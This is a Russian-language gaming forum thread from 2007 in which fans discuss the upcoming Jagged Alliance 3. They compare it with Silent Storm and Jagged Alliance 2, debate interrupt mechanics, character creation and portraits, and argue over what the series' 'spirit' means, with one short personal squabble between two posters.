И куда же мне посоветуете пойти?  :)


Quote:
Не нравятся мои реплики - не читайте. Оценка же смысловой нагрузки, насколько я понимаю - привелегия модератора.

Миль пардон, вы вроде как ко мне обратились, пытались что-то поправить в моих рассуждениях. Я вас лично не спрашивал. А раз уж вы завязали беседу, то кому как не мне судить о ее смысловой нагрузке? Где-то логика нарушена в моих доводах?
Вот я и решил, что вы говорили ни о чем. Но это естественно ни к чему вас не принуждает.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 24.07.2007 в 10:27:23
2Macbeth:  
Quote:
Я так и не решил, хорошо ли это увидеть врага (боя еще нет), подбежать к нему сзади вплотную (опять все еще реалтайм), а потом нажать энтер и валить в упор.  

Данное поведение регулируется настройкой. Возможен обычный режим с  переходом в походовку при появлении врага в зоне видимости.

Quote:
но ваши комментарии в темах про Джаз и Ja3 в последнее время начинают беспокоить

Это заметно. Бывает, что поведение окружающих начинает беспокоить и раздражать, да. В таких ситуациях помогает сходить в отпуск, съездить на море, вообще всячески отдохнуть.

Quote:
Где-то логика нарушена в моих доводах?  

Да. У Вас вообще как-то нехорошо с логикой в последнее время, IMHO. См. выше про отпуск и прочее.

Quote:
И куда же мне посоветуете пойти?

Предлагаю Вам "ответить на этот вопрос самому себе".  

Quote:
Я вас лично не спрашивал.

Намекну. Это форум. Если Вы на нем пишите - то предполагается, что ответить Вам может любой. Если Вы этого не хотите - есть приват и почта.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 24.07.2007 в 13:41:49
2Macbeth:

Quote:
У меня смешанные чувства по поводу двига. Я так и не решил, хорошо ли это увидеть врага (боя еще нет), подбежать к нему сзади вплотную (опять все еще реалтайм), а потом нажать энтер и валить в упор.


Как правильно заметил Новик, это не проблема, реализуется легко. Уверен, что грамотный перехват в Ja3 будет. В бэте Джаза я его кстати не видел :)


Quote:
Думаю, у кого-нибудь (Ja3 или Джаз) должно получиться более-менее приближенно к идеалу.

А идеал это Хто? Ja2? Тогда ИМХО Джаз движется в правильном направлении.
Зато движок SS очень хорош для всяких тактических штучек. Да плюс разрушаемость уровней сделана отлично.
Думаю, что эти игры будут непохожи друг на друга и при этом обе будут приятными. Т.е. получим двойное удовольствие :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 24.07.2007 в 14:04:34
2kavlad:  
Quote:
А идеал это Хто? Ja2? Тогда ИМХО Джаз движется в правильном направлении.  
Простое копирование - это ИМХО совершенно неправильное направление :). Так что я в плане именно РАЗВИТИЯ серии возлагаю основные надежды именно на JA3. Впрочем, эти надежд тоже маловато...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 24.07.2007 в 14:58:48

Quote:
В бэте Джаза я его кстати не видел  

/оффтоп/ он есть в "Джазе", перехват. Просто для него нужно иметь заметную разницу в уровнях мерка и врага./енд оффтоп/.


Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 24.07.2007 в 15:39:48
2Macbeth: 2Novik:

Quote:
Миль пардон, вы вроде как ко мне обратились, пытались что-то поправить в моих рассуждениях. Я вас лично не спрашивал. А раз уж вы завязали беседу, то кому как не мне судить о ее смысловой нагрузке? Где-то логика нарушена в моих доводах?
Вот я и решил, что вы говорили ни о чем. Но это естественно ни к чему вас не принуждает.  


Quote:
Да. У Вас вообще как-то нехорошо с логикой в последнее время, IMHO. См. выше про отпуск и прочее.  


Quote:
Намекну. Это форум. Если Вы на нем пишите - то предполагается, что ответить Вам может любой. Если Вы этого не хотите - есть приват и почта.  



Милостивый государь!  Примите мои уверения в моём совершеннейшем к Вам почтении!

Вот так надо... :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 24.07.2007 в 16:20:30
2SSSVOLOCH:
Ох, сорри. Я говорил о грамотном перехвате :)
Что значит грамотный? Хз. Чтобы мне понравилось как меня перехватывают :)
А перехват есть, но происходит достаточно редко. В целом существующий механизм перехвата игре не мешает :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 24.07.2007 в 16:30:15

Quote:
В целом существующий механизм перехвата игре не мешает

Это самое главное - лишь бы не раздражал, как осечки в первой бете.

Понятие "грамотный", похоже, становится родственным всемогущему понятию "дух Джа" - то есть это нечто, чего хотят все, но выразить никто не может:).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 24.07.2007 в 16:35:34
2Ushwood:

Quote:
Простое копирование - это ИМХО совершенно неправильное направление

ИМХО скопировать геймплей Ja2 в нормальном 3D достаочно сложно.
Основа геймплея Ja2 - это тактические бои. Стратегическая часть тоже играет роль, но ИМХО маленькую. Я лично проблем с нальчностью в игре не испытывал.

Итак основа - это тактические бои. И обе игры в любом случае привнесут некие новшества в тактику по сравнению с Ja2.
1.
Что в Jazz, что в SS ландшафт трехмерный. Это очень влияет на тактику. Начинаются бои за господствующие высоты, например. Очень приколько проходят бои в лесу :)
2.
В SS еще и разрушаемость на высоком уровне. В Jazz это тоже есть, но ИМХО не так классно как в SS. Разрушаемость тоже дает свои тактические возможности. Очень хочется изнурительных боев "за Сталинград", где каждое здание-крепость :)
В Ja2 тоже можно рушить стены, но это не то. Одно дело взорвать стену, а другое дело пробить дырку в потолке, например, или, взорвать колонны, чтобы верхние этажи рухнули и т.п. В Jazz'е кстати можно деревья валить на врагов - прикольно :)
3.
В обеих играх есть стационарные пулеметы. Это тоже разнообразит бои. Можно захватить огневую точку и наблюдать за вражескими Матросовыми :)

Это я к тому, что простое копирование в данном случае невозможно.

P.S. Вообще начинается отличный игровой сезон - Jazz, Ja3 и потом F3  ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 24.07.2007 в 16:39:15

Quote:
то есть это нечто, чего хотят все, но выразить никто не может

Ну почему же не может :) Могу поделиться раскладкой реализации перехвата в S^2. У Ja2 вообще код открыт. И там и там всех (ну, по крайней мере бОльшую часть игроков) устраивало :)
Как у вас в первой бете - лично меня, честно говоря, не устраивает. Он из игры практически вынесен. Возможно, что-то в этом плане уже изменилось? Будем посмотреть.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 24.07.2007 в 16:46:48
2SSSVOLOCH:

Quote:
Понятие "грамотный", похоже, становится родственным всемогущему понятию "дух Джа" - то есть это нечто, чего хотят все, но выразить никто не может

Ну почему не может :)
В Ja2 был грамотный перехват, в SS его не было, в Jazz'е пока непонятно :)
Грамотно это чтобы ночью ближе подбираешься без перехвата, чтобы хорошо перехватылись враги выбегающие из-за угла, когда ты сидишь притавшись со стволом наизготовку, чтобы враги перехватывали спиной на громкий звук.
Можно еще чего-нибудь рассказать о грамотном перехвате :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 24.07.2007 в 17:21:57
2Novik:  
Quote:
Возможно, что-то в этом плане уже изменилось? Будем посмотреть.

Нет, еще не изменилось - но меняться будет. Иначе  - он действительно мало заметен и полезен.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 24.07.2007 в 20:55:39

Quote:
Данное поведение регулируется настройкой. Возможен обычный режим с  переходом в походовку при появлении врага в зоне видимости.  

Вопрос не в том, регулируется или нет, а в том, как сделают разрабы...


Quote:
Простое копирование - это ИМХО совершенно неправильное направление :). Так что я в плане именно РАЗВИТИЯ серии возлагаю основные надежды именно на JA3. Впрочем, эти надежд тоже маловато...

Совершенно согласен. Ответы на все вопросы "как в Джа" немного раздражают.
Но по анонсам самих разрабов можно сделать вывод скорее о деградации. Хотя это было несколько месяцев назад, может они и передумали...


Quote:
Бывает, что поведение окружающих начинает беспокоить и раздражать, да.

Если бы только меня...  ::)
И беспокоите пока только вы...  :)


Quote:
Это заметно. Бывает, что поведение окружающих начинает беспокоить и раздражать, да. В таких ситуациях помогает сходить в отпуск, съездить на море, вообще всячески отдохнуть.  

Видимо наилучший совет для вас. В кой то веки начали что-то трезвое говорить...


Quote:
Да. У Вас вообще как-то нехорошо с логикой в последнее время, IMHO.

Пример приведете или так ляпнули, чтобы было? Думается второе...
В ваших доводах (которые, к слову, и назвать так сложно) логика вообще не просматривается. И я, по крайней мере, могу это доказать, если потребуется.


Quote:
Предлагаю Вам "ответить на этот вопрос самому себе".  

В таком случае и вам туда же... хотя я бы порекомендовал другое место...


Quote:
Намекну. Это форум. Если Вы на нем пишите - то предполагается, что ответить Вам может любой. Если Вы этого не хотите - есть приват и почта.  

Тогда какого вы изволили написать нижеследующую цитату, раз это форум и каждый может выражать свои мысли и давать оценки?

Quote:
Оценка же смысловой нагрузки, насколько я понимаю - привелегия модератора.


Знаете, по-моему у вас как минимум ТОЖЕ имеются проблемы... но вы склонны их видеть только у других...

Я настоятельно рекомендую вам отдых. Хотя и мне бы тоже не помешал...  8)

А лучше всего наверно завершить этот диалог. Тогда точно не дойдет дело до брани, кторая никому не нужна полагаю.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 24.07.2007 в 21:29:56
2Macbeth:  

Quote:
Вопрос не в том, регулируется или нет, а в том, как сделают разрабы...  

Они это *уже* сделали. Рация - на танке. Настройка - в файле конфигурации. Уже есть. В S^2, S^3 и СиМ. И в Ja3 будет.  

Quote:
Пример приведете или так ляпнули, чтобы было?

Да вообщем, выше по ветке - один сплошной пример. Я там приводил краткое изложение моей с Вами беседы, если запамятовали - перечитайте.

Quote:
Если бы только меня...

Да, вообщем, пока только Вас, ага...

Quote:
Видимо наилучший совет для вас.  

Да идите уже, идите.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 24.07.2007 в 21:59:07

Quote:
Они это *уже* сделали.

Что сделали? Обычный режим с  переходом в походовку при появлении врага в зоне видимости или как в SS.


Quote:
Да, вообщем, пока только Вас, ага...  

Считайте так, как вам легче будет воспринять. Переубеждать не намерен. Каждый волен заблуждаться в том, в чем хочет. Я лишь говорю факты.


Quote:
Да вообщем, выше по ветке - один сплошной пример. Я там приводил краткое изложение моей с Вами беседы, если запамятовали - перечитайте.

Ни по выложенному ролику, ни по скринам о размерах достоверно судить нельзя. Опять же может данная карта сама по себе по задумке маленькая. Может средняя. Вспомни СиМ выход из канализации, где Зигфрид (вроде имя не перепутал  :)) стоит.

Для полного понимания разрабам необходимо показать максимум, какой возможен и какой реально будет в игре.
По этому Е-щ-е раз. По скри-нам до-сто-вер-но су-дить нель-зя. Вы хоть в этом согласны? (боюсь, что нет, но надеюсь).

По выложенным скринам можно предположить о размерах, идентичных SS.
Возможный максимум карты пока не ясен. Если это все, что они смогли сделать, то что я могу сказать... жаль...

Я думал вы тогда еще это поняли. Вот откуда непонимание. От переоценки людей...
От этого же и необходимость размусоливать очевидное...

Кстати, могу привести пример игры с красивыми скринами, а вышло из игры (как везде пишут) нечто посредственное с посредственной графикой.


Quote:
Да идите уже, идите.

Только после вас...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 24.07.2007 в 22:27:04
2Novik: 2Macbeth: Фу.... :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 24.07.2007 в 22:43:09
2Дядя Боря: действительно, читать уже лень  >:(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 25.07.2007 в 15:39:30
2kavlad:  
Quote:
ИМХО скопировать геймплей Ja2 в нормальном 3D достаочно сложно.  
Я говорил о копировании тактического движка JA2 - он, помимо 3Д, перекочевал в Джаз в девственно нетронутом виде, со всеми своими недостатками, которых в нем, при всей моей любви к JA2, предостаточно.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 25.07.2007 в 16:05:23
2Ushwood:  
Quote:
со всеми своими недостатками, которых в нем, при всей моей любви к JA2, предостаточно.

Ага, и не стыдно сомневаться в "духе Джа"!!! :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 25.07.2007 в 16:53:42
2SSSVOLOCH: а я не считаю, что "дух ДжА" лежит в области копирования :P

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 25.07.2007 в 18:19:52
2Ushwood: Я не про копирование - я про "великую и непогрешимую" Джа_2. Копирование-то  - хрен с ним... :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 27.07.2007 в 08:24:02
2SSSVOLOCH: Великий Дух Джа требует жертвоприношений в виде новых фич и логичного развития старых. :D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 27.07.2007 в 10:40:33
2bugmonster: В том-то и дело, что понятие "логичное продолжение старых и добавление новых" - у каждого фанбоя... то есть, пардон, последователя культа "великого Джа" - свое.
За каждым бегать со слюнявчиком - скучно.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 27.07.2007 в 12:36:01
2SSSVOLOCH: Ну, дык, а что для вас (для GFI Russia и для тебя лично) является "логичное продолжение старых и добавление новых" фич в Джа?
Вот и надо делать по своему, к тому же если сделать расширение геймплея разносторонним, то каждый фанбой найдет свое любимое: кому нравится стратегический элемент - понравится многоступенчатый апгрейд секторов, кому РПГ-составляющая - полноценные диалоги с выбором вариантов, кому тактика - станковые пулемёты или подобное. А большинству людей, соответственно, понравится большинство нововведений. Тут главное - не обрезать или изменять, а прибавлять и умножать. Во как  8)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 27.07.2007 в 14:20:24
А мы танки вырезали. И минометы еще...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 27.07.2007 в 14:34:10
2SSSVOLOCH: Про танки и минометы не жалею - они были довольно криво реализованы, и неправдоподобно и губительно для балланса.
Т.е. минометы за несколько секунд успевали привестись в боевое положение и заслать выстрел в любую точку карты - это естественно убивает весь балланс сражений. Выкрутиться сиртехи попытались редкостью (почти уникальностью) боеприпасов для игрока и ограничением на раздачу минометов во фражеские отряды по штуке на отряд. А если бы реализовали всё естественно - т.е. установка миномета на карту ~1 ход, Выстрел миномета и полёт мины - на весь следующий ход. Чтобы прилетало уже на следующем ходу и с офигенным разбросом на первом выстреле. Тогда бы никакого вундервипона из миномета не получилось бы.
По танкам тоже - они не могут ездить, но на разворот башни в любое положение заряжание и выстрел из пушки у них уходит 5 секунд.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем MAn на 27.07.2007 в 14:59:40

Quote:
если бы реализовали всё естественно - т.е. установка миномета на карту ~1 ход, Выстрел миномета и полёт мины - на весь следующий ход. Чтобы прилетало уже на следующем ходу и с офигенным разбросом на первом выстреле. Тогда бы никакого вундервипона из миномета не получилось бы.  


В Джа2005 так и будет?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 28.07.2007 в 09:45:52
2MAn: [offtop]Обещать - не обещаю, но я работаю в этом направлении[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем PARKAN на 18.08.2007 в 11:56:04
Судя по скринам...что то интерфейс уж очень большой..или скрин делали в разрешении 640*48(800*600)??
А так по роликам заметно что то из серии SS,даже те точки маршрутов точь-в-точь из сайлент шторма.

Зы.На счет перса типа "Сделай себя сам".Создание персонажа будет проходить как в серии SS(создание лица,например там было такое вполне нормальное,хотя иногда там можно было создать вабще инопланитянина  ;D ;D)или как в джа2(выбор портетра перса или головы готовой уже).
И насчет параметров буду ли они как в СС(сила ловкость интелект-основные и остальные-стрельба,автоматическая стрельба и тд) или как в джа2?

ЗЫЫ.задал такой вопрос потому что лень перечитывать все страницы.
ЗЫЫЫ.Интересуюь этим вопросом потому что если игра серии джа и без Своего перса Джа будет не Джа.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 18.08.2007 в 19:12:29
2PARKAN: На мой взгляд создание "своего лица" в Шторме было сделано отвратительно.. В этом редакторе получаются либо уродцы либо какие то бесполые существа, так что пусть уж лучше будут готовые головы, числом поболее, как в том же СС, там можно было выбрать уже готовую черепушку из весьма большого количества.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем PARKAN на 20.08.2007 в 15:56:25
Ну....кому как.Лично я все время в СС делал одну рожу,и мне нравилось.

И еще... лучше бы разрабы сделали в новой джаге началохода в том случае когда увидел врага(или враг увидел)Плюс нехочеться очень видеть фишку одну как в СС.Ходить и стрелять группой во время хода одновременно.В СС Аи такого не делал,а игрок мог так быстро всех порвать.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 27.08.2007 в 17:10:30
2Zmey
Да ну тебя... Уж лучше пусть сделают нормальный редактор создания чара. Главное чтобы художники не халтурили и отрисовали побольше разных видов глаз, ушей, причесок... Потом, в редакторе можно сделать выбор телосложения, шмоток(их цвет) перса, тату ему сделать, бандану как у Рэмбо повязать ну и т.д. Все зависит от художников.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 27.08.2007 в 17:24:57
2snake_sanders: Если будет нормальный редактор чара - я только рад буду, но что то пока туго с этим у отечественных тактических игр... А с созданием персонажей, особенно персонажей ГГ, вобще беда... Во всяком случае у Апейрона. Я конечно понимаю что девам хотелось создать колоритных персонажей, но всему меру знать надо, я бы с гораздо большим удовольствием увидел в Бригаде и 7,62 в роли одного из ГГ "Снайпера" Чернышова, бывшего офицера СССР, на мой взгляд гораздо более подходящий вариант чем 44(!!!) лейтенант ВДВ Леха Иванов. Все вышеперечисленное считать моим чистейшей воды ИМХО.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 28.08.2007 в 10:45:00
новые скрины на http://www.strategyfirst.com/en/games/JaggedAlliance3/
Стрелка похожа очень на Револьвера Оцелота из MGS3

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 28.08.2007 в 13:30:54
Епс, бл", ну и рожи :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ingris на 28.08.2007 в 14:10:07
2Zmey: Зато эти рожи шевелятся! (сказали б создатели рож)
Ну и ужас... :extrat:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 28.08.2007 в 14:51:42

Quote:
Епс, бл", ну и рожи  
ага :lol:

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 28.08.2007 в 15:16:03
Звериный оскал отечественного геймдева  ;D

На скринах всё время ожидаю увидеть панцеркляйны.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 28.08.2007 в 15:51:43
Ну, я думаю, что наемники не обязательно должны быть красавцами. Хотя... ::) интересно. а Стрелке в шубке воевать не жарко?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 29.08.2007 в 10:12:13
2G.E.M.: Но также они не обязательно должны быть и уродами, верно? Имхо лучше кривых анимированных рож были бы качественные нормальные портреты.
(ИМХО)Мужские портреты получаются элементарно - едем в воинскую часть, для улучшения отношений едем с ящиком водки. В части фотаем там "понравившихся" офицеров/прапорщиков/солдат - кто согласится на использование своей мордашки в игре. И вуаля. С женскими сложнее, но тоже можно решить аналогичным образом.(/ИМХО)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем maks_tm на 29.08.2007 в 10:35:13
2Zmey:

Quote:
С женскими сложнее, но тоже можно решить аналогичным образом.(/ИМХО)  

Ящиком водки? И/или поездкой в воинскую часть?  ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 29.08.2007 в 11:49:35
2maks_tm:  ;D
Боюсь что девушки, которые за ящик водки сфотаются, будут не слишком ... привлекательны :)
Но симпатичных студенток уболтать на фото - без проблем. К тому же если страйкболистов привлеч - то можно вобще без поездки в часть обойтись :) ::)
А можно страйкистов-фанов Джа привлеч - заодно совместно пивка выпить :D ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 29.08.2007 в 12:15:40
2Zmey: Может ты ещё знаешь в/ч, где служит 60-летний негр (Тарболс) и вообще люди всех возрастов и расс? :lol: Если сфотографировать воинсткую часть, то войнская часть вместо АИМ и получится. А если художник умеет делать в фотожабе из нормальных людей негров, китайцев, то ему ИМХО проще этих негро-китайцев с нуля нарисовать.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ingris на 29.08.2007 в 12:40:53
2bugmonster: При большом самомнении художник считает, что  
Quote:
умеет делать в фотожабе из нормальных людей негров, китайцев

а игроки видят "рожи"  ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 29.08.2007 в 15:29:08
2Zmey:  
Quote:
Боюсь что девушки, которые за ящик водки сфотаются, будут не слишком ... привлекательны  
Ты не понял. Ящик водки - для фотографа... после этого девушки станут привлекательыми все, поголовно.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 29.08.2007 в 15:33:55
Хммм... Сначала подумал - из интернета натаскать можно что угодно. А потом - а авторские права?  ;) :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 29.08.2007 в 15:49:30
2Дядя Боря:  
Quote:
Хммм... Сначала подумал - из интернета натаскать можно что угодно. А потом - а авторские права?    

Да. Это для модов ДЖАги можно таскать всё подряд из инета. В этом их
преймущество перед официальным продолжением. )))
Да и то в "других модах" была полемика насчёт использования лиц голивудских
актёров в В2В.

2bugmonster:  
Quote:
Может ты ещё знаешь в/ч, где служит 60-летний негр (Тарболс) и вообще люди всех возрастов и расс?  Если сфотографировать воинсткую часть, то войнская часть вместо АИМ и получится.

Ну не в одной части, а в нескольких можно поработать.
Страна у нас многонациональная :), негров может и не просто будет найти, а
вот с китайцами ИМХО проблем не будет. :)


Заголовок: Re: Jagged Alliance 3
Прислано пользователем maks_tm на 29.08.2007 в 16:58:33

Quote:
Ты не понял. Ящик водки - для фотографа... после этого девушки станут привлекательыми все, поголовно.  

Я думаю, что это и было сделано. Отсюда и портреты.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 29.08.2007 в 19:43:17

Quote:
с китайцами ИМХО проблем не будет
Это с корейцами не будет - их много российских подданных, а стало быть и служащих в армии. с китайцами - будет, их хоть и много - но почти все нелегалы или гости. :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 29.08.2007 в 19:53:13
Ну такие редкости как 60летнего негра можно и нарисовать)))
Что же касается В/Ч - то здесь я конечно палку перегнул ;D
Но вот среди военных можно было бы найти Ивана Долвича ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем PARKAN на 30.08.2007 в 11:15:59

Quote:
Ну такие редкости как 60летнего негра можно и нарисовать)))
Что же касается В/Ч - то здесь я конечно палку перегнул  
Но вот среди военных можно было бы найти Ивана Долвича  


Кстати,замечу одну вещь.МОжет меня и глючит,но в Джа2 Иван Долвич уже чем то Шварца напоминает......

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 31.08.2007 в 12:27:13
2PARKAN: Ушанкой напоминает. Шварца в "Красной жаре" ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Satan`s Claws на 03.09.2007 в 08:15:09
2bugmonster: +1, в ушанке на фоне Василия Блаженного  :D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 23.11.2007 в 15:27:29
Товарисчи, что слышно по данному сабжу?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 23.11.2007 в 16:35:33
2Zmey: слышно и видно было на "Игромире". Он есть.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 26.11.2007 в 00:31:42
может кто-нибудь объяснит, что такое "дух Джа".
Вот в первой джаге: солнечный идиотизм, 90-е, общий аскетизм(оружейка, интерьер) и тактический минимализм (пальнул и в кусты), нарочито заштампованный сценарий ( ИМХО в этом его гениальность)
Вторая джага - это уже больше симулятор гражданской войны: партизане, Че, 100 с лишним стволов, несколько отрядов...
Общего - только наемники.
Паршиво, когда разрабы очередного сабжа твердят про "дух Джа" и по-академически, как школяры,пытаются объяснить сие явление.
Почему например не дух ДжаЗ-а,или Бригады(кстати есть подозрения, что двиг позаимствовали, а не писали с нуля- кто играл в Cold Zero тот поймет)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 26.11.2007 в 00:49:54
2bugmonster,PARKAЯN,Satan`s Claws,
Винни(джа1) - вылитый Шон Пенн в молодости
Гас - уж очень сильно напоминает здоровенного чернокожего парня в баре из фильма От рассвета до заката" (телослож., лицо, прическа + седые виски). учитывая , что фильм раньше  вышел.
Волк - чем-то напоминает Чарльза Броснона, опять же в молодости... ("великолпная смерка")
Рубан (джа1) - Майкла дугласа в фильме, где у офисного раб. поехала крыша...
Змей -  Рассел в роли Снейка Плискина
Бык - можно назвать филм "Over top" со Сталонне, но тут скорее образ (здоровяк Bull Hearly)
Сейчас всех уже и не вспомнить, но постоянно всплывают какие-то ассоциации.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 26.11.2007 в 10:07:55
2snake_sanders: Попробую высказать свой скромный опинион по поводу "духа великого Джа":
Дух Джа - это не "что", а "как" (в принципе конечно серия Джа - про действия наёмников в бананасовых странах, но это не уникальный элемент, отличающий её от других игр и даже не обязательный элемент).
- Глубокая проработка и детализация мира. Погружение игрока во все уровни происходящего: от стратегической составляющей до микроменеджмента предметов. Количество секторов, в которых можно побывать, персонажей, предметов думаю все и так знают.
- Живой мир, живые персонажи. Что скрывается под этим термином? Кроме таких клише как талант сценаристов и диалогописателей, создающих тщательно продуманные характеры персонажей и их живые, изменяющиеся взаимоотношения, можно привести числа:
1. половину (!) объёма дистрибутива игры занимала озвучка персонажей, при том что это не квест и не ролевуха в чистом виде.
2. Любое самое стороннее существо, участвующее в битвах имеет 17 видов озвучки для боевых ситуаций.
3. Любой наёмник имеет ~120 фраз для "общения" с игроком и другими наёмниками.
- Свобода действий. Я имею ввиду СВОБОДА ДЕЙСТВИЙ! , а не "вы можете пробежать к финальному боссу по левой тропинке (сектору) или по правой". Есть "финальный квест", являющийся одновременно целью, смыслом и основной темой сюжета и если его выполнить - игра закончится с нужным результатом. Всё остальное - лежит во власти игрока.
- Смешение игровых жанров: стратегия, тактическая стратегия, элементы квеста, рпг, хоррора, и всего остального по чуть-чуть.
- Развитие каждой следующей игры в серии: не только (и не всегда) количественное, но и качественное. Т.е. Джа2 стала намного известнее и популярнее JA1 именно потому что повторяла её основные принципы, но не копировала, а расширяла геймплей. При обсуждении "следующей Джа" много игроков высказывало идею что нужно просто скопировать Джа2 с новым сюжетом и на новом 3D-двиге. Но это - путь к захирению серии. Серия должна развиваться, и развиваться качественно, а не добавлением эрзац-продуктов в других игровых жанрах "на тему серии".
- Разнообразие возможных тактик ведения боя: если первая часть предлагала незамысловатые нападение и оборону, с охранниками и без, то вторая часть добавляет к выбору тактик (не забыть бы чего): стелс, укреплённую оборону, захват сектора несколькими группами с разных сторон, все предыдущие варианты в ночное время. В следующей части могло было бы быть (в модах на исходниках Джа2 часть реализована): штурм и оборона совместно с AI-пехотой, тяжёлой техникой, авиацией, воздушный десант, экономические методы борьбы (перекупить часть солдат или генералов), диверсии "под прикрытием", стравливание двух враждебных сторон друг с другом, фортификация секторов и пр. и пр.
Может чего и забыл, если что, камрады дополнят.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем G.E.M. на 26.11.2007 в 20:20:31

Quote:
Может чего и забыл, если что, камрады дополнят.
- тут не чего дополнять. JA 2 - эталон: какие-либо дополнения приветствуються, но отклонения не прощаются.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Satan`s Claws на 27.11.2007 в 07:35:12
2bugmonster:  
Quote:
- Смешение игровых жанров: стратегия, тактическая стратегия, элементы квеста, рпг, хоррора, и всего остального по чуть-чуть.

Это ты про жуков, что ли? о_0

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ingris на 27.11.2007 в 08:57:52
2G.E.M.: Отсутствие свободы действий или ночных операций - это не отклонения, а шаг назад...  >:(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 27.11.2007 в 09:57:13

Quote:
Это ты про жуков, что ли? о_0  
Вероятно про любимых многими птичек на трупиках. разлагающихся со временем :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 27.11.2007 в 14:45:28
2Дядя Боря: Ну а что, реалызм...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 29.11.2007 в 09:11:41
2bugmonster:
Всё правильно пишешь, особенно про развитие серии.
В продолжении хотелось бы видеть развитие стратигической
составляющей. В JA2, всё-таки больше упор на тактику.
Что-то из стратегической составляющей создатели просто не
успели реализовать, судя по всему.
А современные "продолжатели" со своей переделкой в 3D
урезают размер стратегической карты до пары десятков
секторов, и сводят стратегическую составляющую практически
к нулю. И это, конечно, громадный шаг назад.


Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 01.12.2007 в 07:35:31
Я мыслю что количество секторов надо увеличивать и этажность... В альфе например есть миссия где боевики занимают многоэтажку панельную..так вот зачистка такого домика - задачка! особенно подойти к нему когда чуть ли не в каждом окне стрелок. Хотелось бы подобных зданий в джа, хотя бы в городских секторах.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 02.12.2007 в 13:30:51
Надо думать, что секторов будет больше(известно, что сектора типа "e5:пустыня" будут генерироваться случайно, вот только интересно: каждый раз при входе в сектор, или один раз в начале новой игры?), а насчет многоэтажности - думаю 3-5 максимум, все-таки страна 33 мира ;D
Поэтому "Дата выхода сдвинута, но не из-за трудностей с разработкой, а в связи с желанием издателей увеличить объем игры по сравнению с изначальными планами" Да и в 08 году будет 10 лет Джа2 ;D
Стратегическая часть это хорошо, но нут главное не превратить Джа в варгейм, с хеликоптерами, танками,Бмп и эсминцами в одном кадре... ;D
Поэтому "Введение полноценного стратегического режима. Где игрок сможет следить за зонами влияния группировок,узнавать прогноз погоды, которая может повлиять на успех планируемой операции в определенном регионе Кроме того, стратегический режим будет обладать собственным AI, который играет одновременно за четыре стороны..." Забавно, динамичная линия фронта :o, смахивает на локальную революцию в жанре.
